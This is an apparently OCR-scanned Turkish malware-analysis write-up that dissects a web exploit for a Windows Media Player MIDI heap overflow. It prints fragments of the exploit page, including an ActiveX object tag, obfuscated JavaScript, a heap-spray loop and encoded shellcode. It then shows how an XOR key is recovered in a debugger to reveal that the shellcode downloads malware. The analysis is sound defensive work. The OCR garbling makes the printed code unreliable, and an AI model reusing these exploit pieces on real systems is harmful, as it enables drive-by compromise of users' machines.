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Hackerlarin yer alti diinyasinda “Patch Tuesday, Exploit Wednesday” diye bir s6z vardir. Microsoft
Sali glinli yamalari yayinlar, hackerlar ise Carsamba glinii patch diff vb. yontemlerle zaafiyeti tespit
ederek exploit’unu yazar. Bu exploitlere “1-day exploit” de denilir.

Bu hafta tam da bu durumla karsi karsiya kalindi. Yaklasik bir-iki hafta 6nce Windows Media
Player’da MIDI ses dosyalarini parse ederken olusan bir heap overflow zaafiyetinin yamasi yayinlandi
ve yamadan bir hafta sonra yeraltinda, acigi istismar ederek kullanicilari hedef alan bir exploit kodu
ile karsilasildi. Exploit’i yazanlar belli ki profesyonel ve bu isi biliyor. Ozellikle exploit’i antiviruslerden
kagirmak icin kullandiklari javascript encrypter/obfuscator saglam ellerde yazilmis. Exploit’i
barindiran/yayan websitesinden siber tehdit istihbarati partnerimiz sayesinde haberdar olduk ve
hemen analize basladik.

Exploit’i barindiran web sayfasini ziyaret ettiginizde Windows Media Player’i ¢alistirmak icin izin
isteyen ActiveX denetimiyle karsilasiyoruz. Sayet ActiveX ‘ e izin verirseniz zaafiyetin exploit edilme
islemi gerceklesmis oluyor.

<ogbject id="midil" classid="clsid:22d6f312-b0f6-11d0-94ab-0080cT4cTels"
codebase="http://activex.microsoft.com/activer/controls/mplayer/en/nasnp2inf. cabfversion=5,1,52,701" =
type="application/x—oleobject” width="320" height="310">
<param name="filename" value="./baby.mid">

<param name="animationatstart" wvalue="true">

<param name="transparentatstart™ wvalue="true">

<param name="autostart™ wvalue="false">

<param name="showcontrols" value="true">

<param name="ShowStatusBar" wvalue="trus">

<param name="windowlessvideo"™ wvalue="true">»

<param name="wolume" walue="-9640">
<embed src="./babv.mid" autostart="true" showcontrols="true" showstatusbar="1" bgcolor="white" w
</object>
<html>
<body>
<script>

wvar veEES='\x30";

</3cript>

<script 3:c<__.- scriptl>

<script language="javascript":>

BCaVBS =

eval ;bpWIIsIl=unescape;DIUGI="1625102419243C4947CFCBCACOC4FSEESEAC43596B0F6B1ADSDECEISCI2015TT59BASDE
DSA30ASD31BS98E6E8BOCF483TABE62CDCE1996832CT2EEA3IDAI SDC3FSE8FA64C6ERBOFCO7222BC02AB4258995CE2T4F1B46349
Bl13CS21AFF669264ATTED1ISDESS1F27FB6558040BCSED235F612157C8C002F261D3E358B258F63BETBO5394ARCI5A30445FED
13D074DBCEE3BD20D2D99637420714022629C5647T70492E347842175C294C317078772D002C381E3A613B4D21584266573401
SA4F59317B55772937TC6E31696175173A091FT61BSESFSA69T0T0162032686911486CT9664T6RA6160660CTE2EO033125196A3
BT80E4574436ATF0T26534R596T0RAT662034B05636B0E4T7C064T23620R1C52276D13405E65390C5F1D195D543C247C743303
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Yukaridaki resimde kaynak kodun bir kismi gézikmekte. DIUG1 degiskeni exploitin kullandigi
shellcode un encrypt edilmis hali. “i.js” dosyasi shellcode u decrypt ederek, javascript shellcode
haline getirmekte. Javascript obfuscating konusunda gercekten cok giizel , zekice yontemler
kullanilmis. Sanirim yeralti diinyasinda dolanan bir ara¢ yardimiyla yapilmis. JS kodlarinda ; “Encrypt
By Dadong's JSXX 0.41 VIP*” imzasi bulunmakta. Bu encrypter i¢in arkadaslarimizdan biri ayrica
decrypter yazdi. Ben ise kisa yoldan decrypt edip analizime devam ettim ©

var HrMm7="d":
while (FIWVzIel.length < agfvi¥s/2) FIWVzIel +=FJWvzIel:
var ImxlL8 = FIWVzIel.substring(0, agfvi¥s/2):
:_].II'ﬁT'? =" drr ;
delete FJWVzIel;

for(i=0;i<270;1i++)
{
HyWLal[i] = DmxLE8+DmxLE8+kpemoezd;

Heap spray yontemine asina olanlar yukaridaki scriptin heap’de alan tahsisi ve spraying i¢in
kullanildigini farkedecekler ve NyWLal array’inin shellcode u barindirdigini anlayacaklardir. Bu
durumda DmxL8 ve kpemoez4 degiskenlerinin decrypted olmasi gerekir. Eger biz document.write
fonksiyonu ile NyWLal array ‘i icindeki degiskenleri (DmxL8 ve kpemoez4) browser’a yazdirirsak
shellcode’un decrypted haline ulasmis olacagiz.

var HrikMm7="d";

while (FdWvVzIel.length < agfvi¥s/2) FIWVzIel +=FdWvzIel:
var DmxLE = FIJWvzIel.substring(0, agfvi¥s/ 2):

:_III.I-LT'? =T d L :'

SA/AyWLal[i] = DmxLE+DmxLE+kpemosz4;

Yukaridaki gibi dizenledigimiz dosyayi tekrar agtigimizda shellcode’un decrypted haliyle karsilagtik ©



& C\Users\Ddaymaster\Documents!cve-20... fi v B v [ o - Sayfav Gavenlikv Araglarv @~
nUCUCT UL U U CUC S nUC UL S au CUC S snUC UL S s CU U S auU U S auU UL S o C U U S UL U e
u0CO0C%u0COC%u0COCY%u0COCulCOCY%ulCOCYu0COCYum0COCY%udCOCYmdCOC%u0C0CY
udCOCudCOCYmudCOCYudCOClmdCOCYudCOC%mulCOCYudCOC%udCICYudCOC%mOCICY
udCOCudCOCYmudCOCYudCOClmdCOCYudCOC%mulCOCYudCOC%udCICYudCOC%mOCICY
udCOC%udCOCYudCOC%ulCOCudCOCY%udCOC%ulCOCY%ulCOC%ulCICY%udCOC%ulCOCY%
udCOC%udCOCYudCOCY%udCOC%muCOCYudCOC%ulCOCYmudCOC%ulCOCmuo090%ud090%
us858%us858%ul 0EB%udB 5B%uC933%uB966%u03BE%u3480%uBD0B%uF AE2%u05EB%uEBES %
uFFFF%us4FF%uBEA3%uBDBDY%uD9E2%ufD 1 Co%uBDBD%u36BED%uB IFD%uCD36%ul 0A1%
uD536%u36B5%uD 74A%uE4A C%ul355%uBDEF %2 DBDYud 5 5F%ulED 5 %uBDEF YeuDSBD%
uCEE8%uCFDEYu36E3%ub 1FB%u0355%uBDBC%u36BDYuD 755%uE4B8%u2355%uBDEF %
uSFBD%uD544%uD3D2%uBDBD%uCED5%uD 1 CF%mEID0%uAB42%mTD3 8% mAECE % uD2D5%
uBDD3%uD3BD%uCFC8%%uD0D1%u36E9%uB 1FB%%u33 55%uBDBC%u36BD%uD755%uE4BC%
uD335%uBDBF %uSFBD%uD544%ufED 1 %uBDEF % uCED5%uDED5%uESD 1 %uFB36%u55B 1%
uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF 2%uBDBD %44 5F %l 13C%uBCBDY%uBDBD %
u6136%u7E3C%uBD3D%uBDBD%uBDD7 %A 7TDT7%uD 7TEEY 4 2BD%uE 1EB%u TDEEYu3DEFD%

Bu noktadan sonra yapmamiz gereken shellcode’un sistemde ne yaptigini bulmak. Bunun igin
shellcode’u calistirilabilir dosya formatina (PE) gevirerek analiz etmemiz gerekiyordu. Shellcode2Exe
sitesini bu islem icin kullanabilirsiniz , Gstelik yukaridaki gibi javascript formatindaki hex kodlari da
exe'ye gevirebilmekte.

%0 / sandsprite.com &gesindeki shellcode_2_exe.php Ta.. | = P
Shellcods
uBCBD%uH -
g 3
uF26aC3uj 4 Dosya Yukleme — @
ulBADEuT
ul4413nul = I .
Bu dosyay kaydetmek veya acmak uzere cevrimici olarak bir
uCh36e%ul program bulmak istiyor musunuz?
18 .
uBEDS 3uf Adi: shellcode.exe_
uB8D73uj
2445524 | | Tdr: Bilinmeyen Dosya Tard, 20,0KB
1E1362nl Kimden: sandsprite.com
uECTE%udj
uFCF4%ug Bul ] ’ Kaydet l [ ip’[al
udCS563ng L4
u3660%u36EY
uCOSFEueT3E
u07FDEulDCE . Intemetten gelen dosyalar isinize yarayabilir, ancak baz dosyalann
uF&EL4ZnT OB | | bilgisayanniza zarar verme olasihd vardrr. Kaynada glvenmiyorsaniz, E
. . | "8  bu dosyay agacak bir program bulmayn veya dosyay kaydetmeyin.
u1A23Enddg - Risk nedir?
uLDETEu3D4
uDADCERCEDA = =
uD8933uDEC5FuBDEDFUEDEDFUEDEDFUBDEDFUEDEDFUBDEDIUEDEDSUEAER -
help Output:  Standard exe: 4k buf -

Shellcode’u websitesine kopyala yapistir yaparak exe formatinda indirdikten sonra ister wireshark
ile network trafigini dinleyerek , isterseniz herhangi bir disassembler ile statik analiz yapabiliriz. Statik
analiz ile yolumuza devam edelim.


http://sandsprite.com/shellcode_2_exe.php

sub_48108846 proc near ; CODE XREF: start:loc_L481816)p

pop ebx
dec ebx
wor ecx, ecx
moy c¥, 3B8h
loc_4B81088E: ; CODE '®EF: sub_481086+C)j
®or byte ptr [ebx+ecx], ﬂBI:h_
loop loc_4@8188E Xor key
imp short loc 481081B

Exe’ye cevirdigimiz shellcode’u IDA disassembler ile actigimizda herhangi bir string , api vs.
goremedik. Belli ki shellcode da AV bypass icin encrypt edilmisti. Neyseki, yukaridaki resimde
gordugimuz gibi klasik bir XOR encryption kullaniimisti ve XOR anahtarimizi da bulmustuk . (OxBD)

Bu noktadan sonra yapmamiz gereken tek sey shellcode’ u tekrar ayni XOR anahtar ile decrypt
etmekti. Bunu isterseniz debuggerda patching islemiyle , isterseniz yazacaginiz basit bir program ya
da hazir araglarla (malzilla vb.) yapabilirsiniz. Ben Ollydebugger ‘ da ufak bir patch/assemble islemi
yapmayi daha pratik ve zevkli buluyorum.

Encrypted Bytes

Olly’de shellcode’umuzu actigimizda encrypted bytelari ve basladigi adresi gormekteyiz.

Assemble at 00404FA9 x|

Imu:u-.-' eax, 004071070 j
¥ Fill with MOP's Asserble | Cancel |

Ollydebug Assemble Ozelligi



JLE
HOP
HOP EREAKFPOINT

Patching/Assemble ile yazdigimiz XOR déngdisii

Olly ile code sectionda buldugumuz herhangi bir bos alana (code cave - DB 00) xor déngiimizu
yaziyoruz. Yorum kisminda da anlattigimiz gibi yazdigimiz bu ufak assembly kod dénguisti, EAX'in
isaret ettigi byte’t 0xBD anahtari ile XOR’lamakta. Bu islemi 0040101C adresinden baslayarak
00404085 ‘ e kadar siirdiirmekte.

IIndo selection Alt+EkSp
Assemble Space
Label g

Edit cormment g

add Header

Maodify Yariable

Breakpoint

Hik krace

Run trace

Fallow in Durnp

ilk yazdigimiz assembly satirini new orgin (entrypoint) olarak seciyoruz ve programi Olly’de
baslatiyoruz (F9). XOR islemini 0040101C adresinden baslayarak 004040B5 ‘ a kadar slrdilrecek daha
sonra Breakpoint koydugumuz NOP instructioninda programimiz ¢alismayi durdurucak. Programimiz
¢alismayi durdurdugunda bitin bytelar OxBD anahtari ile decrypt edilmis olacak.
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Ranlrarl

Sonrasinda yapmamiz gereken Olly’den kodlari yeni haliyle analiz etmesini istemek. Analiz bittiginde
shellcode’un resimde gordiigliniiz adresten zararh bir yazilim indirdigini anliyoruz.

Ayrica bu tarz durumlarda kisa yoldan analiz yapabilmeniz icin MalZilla yazilimini 6nerebilirim.
Sonuca daha pratik ve hizli bir sekilde ulasmaniza yardimci olacaktir. UCS2 to Hex , Disassembler,
Shellcode Emulator , XOR Finder vb. bir ¢cok 6zelligi mevcut. Otomatize arag kullanmayi sevenler igin
ideal olabilir.



